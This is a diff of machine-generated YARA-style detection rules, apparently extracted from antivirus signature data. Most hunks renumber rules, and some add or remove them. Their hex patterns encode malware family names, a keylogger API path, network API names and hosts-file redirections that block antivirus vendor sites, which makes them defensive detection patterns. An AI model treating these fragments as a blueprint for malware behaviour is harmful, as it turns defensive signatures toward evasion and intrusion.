>=21 } -rule _InfrastructureShared_7396{ +rule _InfrastructureShared_7821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -77750,7 +82259,7 @@ rule _InfrastructureShared_7396{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_7397{ +rule _InfrastructureShared_7822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77760,7 +82269,7 @@ rule _InfrastructureShared_7397{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7398{ +rule _InfrastructureShared_7823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77770,7 +82279,7 @@ rule _InfrastructureShared_7398{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7399{ +rule _InfrastructureShared_7824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77780,7 +82289,7 @@ rule _InfrastructureShared_7399{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7400{ +rule _InfrastructureShared_7825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77790,7 +82299,7 @@ rule _InfrastructureShared_7400{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7401{ +rule _InfrastructureShared_7826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77800,7 +82309,7 @@ rule _InfrastructureShared_7401{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7402{ +rule _InfrastructureShared_7827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77810,7 +82319,7 @@ rule _InfrastructureShared_7402{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7403{ +rule _InfrastructureShared_7828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77820,7 +82329,7 @@ rule _InfrastructureShared_7403{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7404{ +rule _InfrastructureShared_7829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77830,7 +82339,7 @@ rule _InfrastructureShared_7404{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7405{ +rule _InfrastructureShared_7830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77840,7 +82349,7 @@ rule _InfrastructureShared_7405{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7406{ +rule _InfrastructureShared_7831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77850,7 +82359,7 @@ rule _InfrastructureShared_7406{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7407{ +rule _InfrastructureShared_7832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77860,7 +82369,7 @@ rule _InfrastructureShared_7407{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7408{ +rule _InfrastructureShared_7833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77870,7 +82379,7 @@ rule _InfrastructureShared_7408{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7409{ +rule _InfrastructureShared_7834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77880,7 +82389,7 @@ rule _InfrastructureShared_7409{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7410{ +rule _InfrastructureShared_7835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77890,7 +82399,7 @@ rule _InfrastructureShared_7410{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7411{ +rule _InfrastructureShared_7836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77900,7 +82409,7 @@ rule _InfrastructureShared_7411{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7412{ +rule _InfrastructureShared_7837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77910,7 +82419,7 @@ rule _InfrastructureShared_7412{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7413{ +rule _InfrastructureShared_7838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77920,7 +82429,7 @@ rule _InfrastructureShared_7413{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7414{ +rule _InfrastructureShared_7839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77930,7 +82439,7 @@ rule _InfrastructureShared_7414{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7415{ +rule _InfrastructureShared_7840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77940,7 +82449,7 @@ rule _InfrastructureShared_7415{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7416{ +rule _InfrastructureShared_7841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77950,7 +82459,7 @@ rule _InfrastructureShared_7416{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7417{ +rule _InfrastructureShared_7842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77960,7 +82469,7 @@ rule _InfrastructureShared_7417{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7418{ +rule _InfrastructureShared_7843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77970,7 +82479,7 @@ rule _InfrastructureShared_7418{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7419{ +rule _InfrastructureShared_7844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77980,7 +82489,7 @@ rule _InfrastructureShared_7419{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7420{ +rule _InfrastructureShared_7845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -77990,17 +82499,7 @@ rule _InfrastructureShared_7420{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7421{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 43 21 4d 54 42 00 01 00 4b 01 48 83 ec 48 45 31 c0 41 b9 02 00 00 00 48 c7 c1 01 00 00 80 48 8d 15 ad 37 00 00 48 8d 44 24 38 48 89 44 24 20 ff 15 bd } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_7422{ +rule _InfrastructureShared_7846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -78011,7 +82510,7 @@ rule _InfrastructureShared_7422{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*18624) >=1 } -rule _InfrastructureShared_7423{ +rule _InfrastructureShared_7847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -78022,7 +82521,7 @@ rule _InfrastructureShared_7423{ ((#a_6b_0 & 1)*17955+(#a_45_1 & 1)*-13661) >=1 } -rule _InfrastructureShared_7424{ +rule _InfrastructureShared_7848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -78033,7 +82532,7 @@ rule _InfrastructureShared_7424{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*2562) >=1 } -rule _InfrastructureShared_7425{ +rule _InfrastructureShared_7849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -78044,7 +82543,7 @@ rule _InfrastructureShared_7425{ ((#a_54_0 & 1)*18467+(#a_b8_1 & 1)*656) >=1 } -rule _InfrastructureShared_7426{ +rule _InfrastructureShared_7850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -78056,7 +82555,7 @@ rule _InfrastructureShared_7426{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*-5051+(#a_00_2 & 1)*400) >=1 } -rule _InfrastructureShared_7427{ +rule _InfrastructureShared_7851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -78068,7 +82567,7 @@ rule _InfrastructureShared_7427{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29285+(#a_65_2 & 1)*24434) >=1 } -rule _InfrastructureShared_7428{ +rule _InfrastructureShared_7852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -78079,7 +82578,7 @@ rule _InfrastructureShared_7428{ ((#a_5f_0 & 1)*25635+(#a_56_2 & 1)*8448) >=1 } -rule _InfrastructureShared_7429{ +rule _InfrastructureShared_7853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -78093,7 +82592,7 @@ rule _InfrastructureShared_7429{ ((#a_72_0 & 1)*22051+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=1 } -rule _InfrastructureShared_7430{ +rule _InfrastructureShared_7854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -78104,7 +82603,7 @@ rule _InfrastructureShared_7430{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*744) >=1 } -rule _InfrastructureShared_7431{ +rule _InfrastructureShared_7855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -78114,7 +82613,7 @@ rule _InfrastructureShared_7431{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_7432{ +rule _InfrastructureShared_7856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -78124,7 +82623,7 @@ rule _InfrastructureShared_7432{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_7433{ +rule _InfrastructureShared_7857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78135,7 +82634,7 @@ rule _InfrastructureShared_7433{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*12325) >=2 } -rule _InfrastructureShared_7434{ +rule _InfrastructureShared_7858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78146,7 +82645,7 @@ rule _InfrastructureShared_7434{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30066) >=2 } -rule _InfrastructureShared_7435{ +rule _InfrastructureShared_7859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78157,7 +82656,7 @@ rule _InfrastructureShared_7435{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*25964) >=2 } -rule _InfrastructureShared_7436{ +rule _InfrastructureShared_7860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78168,7 +82667,7 @@ rule _InfrastructureShared_7436{ ((#a_46_0 & 1)*16675+(#a_f9_1 & 1)*16834) >=2 } -rule _InfrastructureShared_7437{ +rule _InfrastructureShared_7861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78179,7 +82678,7 @@ rule _InfrastructureShared_7437{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_7438{ +rule _InfrastructureShared_7862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78190,7 +82689,7 @@ rule _InfrastructureShared_7438{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29872) >=2 } -rule _InfrastructureShared_7439{ +rule _InfrastructureShared_7863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78201,7 +82700,7 @@ rule _InfrastructureShared_7439{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*400) >=2 } -rule _InfrastructureShared_7440{ +rule _InfrastructureShared_7864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78212,7 +82711,7 @@ rule _InfrastructureShared_7440{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28281) >=2 } -rule _InfrastructureShared_7441{ +rule _InfrastructureShared_7865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78223,7 +82722,7 @@ rule _InfrastructureShared_7441{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_7442{ +rule _InfrastructureShared_7866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78234,7 +82733,7 @@ rule _InfrastructureShared_7442{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-1) >=2 } -rule _InfrastructureShared_7443{ +rule _InfrastructureShared_7867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78245,7 +82744,7 @@ rule _InfrastructureShared_7443{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*12090) >=2 } -rule _InfrastructureShared_7444{ +rule _InfrastructureShared_7868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78255,7 +82754,7 @@ rule _InfrastructureShared_7444{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7445{ +rule _InfrastructureShared_7869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78266,7 +82765,7 @@ rule _InfrastructureShared_7445{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*21573) >=2 } -rule _InfrastructureShared_7446{ +rule _InfrastructureShared_7870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78276,7 +82775,7 @@ rule _InfrastructureShared_7446{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7447{ +rule _InfrastructureShared_7871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78287,7 +82786,7 @@ rule _InfrastructureShared_7447{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1) >=2 } -rule _InfrastructureShared_7448{ +rule _InfrastructureShared_7872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78297,7 +82796,7 @@ rule _InfrastructureShared_7448{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_7449{ +rule _InfrastructureShared_7873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78307,7 +82806,7 @@ rule _InfrastructureShared_7449{ ((#a_5f_0 & 1)*25635) >=2 } -rule _InfrastructureShared_7450{ +rule _InfrastructureShared_7874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -78317,7 +82816,7 @@ rule _InfrastructureShared_7450{ ((#a_5f_0 & 1)*25635) >=2 } -rule _InfrastructureShared_7451{ +rule _InfrastructureShared_7875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -78329,7 +82828,7 @@ rule _InfrastructureShared_7451{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*282+(#a_6d_2 & 1)*26490) >=2 } -rule _InfrastructureShared_7452{ +rule _InfrastructureShared_7876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -78341,7 +82840,7 @@ rule _InfrastructureShared_7452{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_65_2 & 1)*26960) >=2 } -rule _InfrastructureShared_7453{ +rule _InfrastructureShared_7877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -78353,7 +82852,7 @@ rule _InfrastructureShared_7453{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11879+(#a_ff_2 & 1)*513) >=2 } -rule _InfrastructureShared_7454{ +rule _InfrastructureShared_7878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -78364,7 +82863,7 @@ rule _InfrastructureShared_7454{ ((#a_54_0 & 1)*18467+(#a_84_1 & 1)*-16251) >=2 } -rule _InfrastructureShared_7455{ +rule _InfrastructureShared_7879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -78376,7 +82875,7 @@ rule _InfrastructureShared_7455{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*11876+(#a_5d_2 & 1)*1553) >=2 } -rule _InfrastructureShared_7456{ +rule _InfrastructureShared_7880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -78388,7 +82887,19 @@ rule _InfrastructureShared_7456{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-25503+(#a_04_2 & 1)*513) >=2 } -rule _InfrastructureShared_7457{ +rule _InfrastructureShared_7881{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4e 65 74 77 6f 72 6b 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 57 53 41 53 74 61 72 74 75 70 01 00 04 81 01 72 65 63 76 01 00 07 81 01 57 53 41 53 65 6e 64 01 00 07 81 01 57 53 41 52 65 63 } //18467 + $a_6e_2 = {65 72 6e 65 74 4f 70 65 6e 55 72 6c 00 00 78 76 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 48 2e 31 00 01 00 0c 02 0a ed 0f 84 90 01 01 00 00 00 90 } //385 + $a_6a_4 = {69 01 00 05 11 68 ee 63 90 5e 01 00 05 01 68 5a 6f de a9 01 00 05 01 68 ee ea c0 1f 02 00 14 03 83 e1 00 75 90 01 01 eb 90 14 74 90 14 70 90 01 01 eb 90 00 00 00 78 76 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4d 53 49 4c 5f 47 6f 6c 62 6c 61 2e 42 31 00 02 00 30 01 34 45 2d 36 46 2d 34 39 2d 36 42 2d 36 31 2d 37 32 2d 37 35 2d 37 33 2d 32 30 2d 32 42 2d 32 30 2d 34 39 2d 36 45 2d 36 41 2d 36 35 2d 36 33 2d 01 00 20 01 36 31 2d 36 45 2d 37 34 2d 36 39 2d 35 33 2d 36 31 2d 36 45 2d 36 34 2d 36 39 2d 36 35 2d 30 30 00 00 78 76 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4c 61 74 69 6e 42 75 7a 7a 77 6f 72 64 2e 42 21 64 68 61 00 01 00 15 01 61 70 69 2f 77 69 6e 64 6f 77 73 2f 6b 65 79 6c 6f 67 67 65 72 01 00 } //26625 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*385+(#a_6a_4 & 1)*26625) >=2 + +} +rule _InfrastructureShared_7882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -78402,7 +82913,7 @@ rule _InfrastructureShared_7457{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-31997+(#a_6e_2 & 1)*26736+(#a_59_3 & 1)*17455+(#a_64_4 & 1)*28206) >=2 } -rule _InfrastructureShared_7458{ +rule _InfrastructureShared_7883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -78413,7 +82924,7 @@ rule _InfrastructureShared_7458{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13613) >=3 } -rule _InfrastructureShared_7459{ +rule _InfrastructureShared_7884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78425,7 +82936,7 @@ rule _InfrastructureShared_7459{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*29281+(#a_2f_2 & 1)*20015) >=3 } -rule _InfrastructureShared_7460{ +rule _InfrastructureShared_7885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78437,31 +82948,55 @@ rule _InfrastructureShared_7460{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8300+(#a_64_2 & 1)*385) >=3 } -rule _InfrastructureShared_7461{ +rule _InfrastructureShared_7886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 57 21 70 6c 69 6e 78 00 01 00 11 01 50 6c 69 6e 78 44 4c 4c 46 75 6e 63 74 69 6f 6e 73 01 00 11 01 49 73 44 65 66 65 6e 64 65 72 45 6e 61 62 6c 65 64 01 00 } //16675 $a_00_1 = {30 00 7d 00 3f 00 61 00 6c 00 70 00 68 00 61 00 3d 00 7b 00 31 00 7d 00 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 48 6f 73 74 4d 6f 64 69 66 79 00 01 00 1b 03 73 79 6d 61 6e 74 65 63 2e 63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 01 00 19 03 6d 63 61 66 65 65 2e 63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 01 00 1c 03 6b 61 73 70 65 } //282 - $a_79_2 = {63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 63 61 6b 65 6d 61 6b 69 6e 67 01 00 1d 81 01 73 63 61 6c 6c 79 77 61 67 20 61 73 63 69 64 69 61 20 70 6f 69 6e 74 } //29554 + $a_79_2 = {63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 51 30 31 21 4d 54 42 00 01 00 0d 81 01 70 61 72 6b 67 73 74 20 61 6c 65 66 74 01 00 13 81 01 61 6e 6e 69 68 69 6c 61 74 69 6f 6e 69 73 74 } //29554 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*282+(#a_79_2 & 1)*29554) >=3 } -rule _InfrastructureShared_7462{ +rule _InfrastructureShared_7887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 48 6f 73 74 4d 6f 64 69 66 79 00 01 00 1b 03 73 79 6d 61 6e 74 65 63 2e 63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 01 00 19 03 6d 63 61 66 65 65 2e 63 6f 6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 01 00 1c 03 6b 61 73 70 65 72 73 } //18467 - $a_63_1 = {6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //31083 - $a_2e_2 = {43 58 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 63 61 6b 65 6d 61 6b 69 6e 67 01 00 1d 81 01 73 63 61 6c 6c 79 77 61 67 20 61 73 63 69 64 69 61 20 70 6f 69 6e 74 69 6c 6c 69 73 74 01 00 16 81 01 66 6f 72 67 72 6f 76 6e 69 6e 67 20 62 61 72 6b 61 72 6f 6c 65 6e 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //25956 + $a_63_1 = {6d 90 0e 03 00 31 32 37 2e 30 2e 30 2e 31 90 00 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //31083 + $a_75_2 = {6f 61 64 65 72 2e 53 41 51 30 31 21 4d 54 42 00 01 00 0d 81 01 70 61 72 6b 67 73 74 20 61 6c 65 66 74 01 00 13 81 01 61 6e 6e 69 68 69 6c 61 74 69 6f 6e 69 73 74 69 63 61 6c 01 00 18 81 01 6d 61 72 6c 6f 63 6b 20 } //12082 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*31083+(#a_2e_2 & 1)*25956) >=3 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*31083+(#a_75_2 & 1)*12082) >=3 } -rule _InfrastructureShared_7463{ +rule _InfrastructureShared_7888{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 51 30 31 21 4d 54 42 00 01 00 0d 81 01 70 61 72 6b 67 73 74 20 61 6c 65 66 74 01 00 13 81 01 61 6e 6e 69 68 69 6c 61 74 69 6f 6e 69 73 74 69 63 61 6c 01 00 18 81 01 6d 61 72 } //18467 + $a_6b_1 = {6b 6f 72 72 69 67 65 72 65 6e 64 65 2e 65 78 65 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 46 21 4d 54 42 00 01 00 12 81 01 68 61 6c 65 74 75 64 73 65 72 20 61 6b 76 61 72 65 6c 01 00 12 81 01 74 65 6a 73 73 20 } //28524 + $a_70_2 = {65 72 69 6e 67 65 6e 01 00 16 81 01 63 68 61 74 74 65 72 6d 61 67 67 69 6e 67 20 6d 69 73 6c 61 69 6e 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 63 61 6b 65 6d 61 6b 69 6e 67 01 00 1d 81 01 73 63 61 6c 6c 79 77 61 67 20 61 73 } //30067 + condition: + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28524+(#a_70_2 & 1)*30067) >=3 + +} +rule _InfrastructureShared_7889{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 46 21 4d 54 42 00 01 00 12 81 01 68 61 6c 65 74 75 64 73 65 72 20 61 6b 76 61 72 65 6c 01 00 12 81 01 74 65 6a 73 73 20 73 75 70 70 6c 65 72 69 6e 67 65 6e 01 00 16 81 01 63 } //18467 + $a_74_1 = {72 6d 61 67 67 69 6e 67 20 6d 69 73 6c 61 69 6e 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 63 61 6b 65 6d 61 6b 69 6e 67 01 00 1d 81 01 73 63 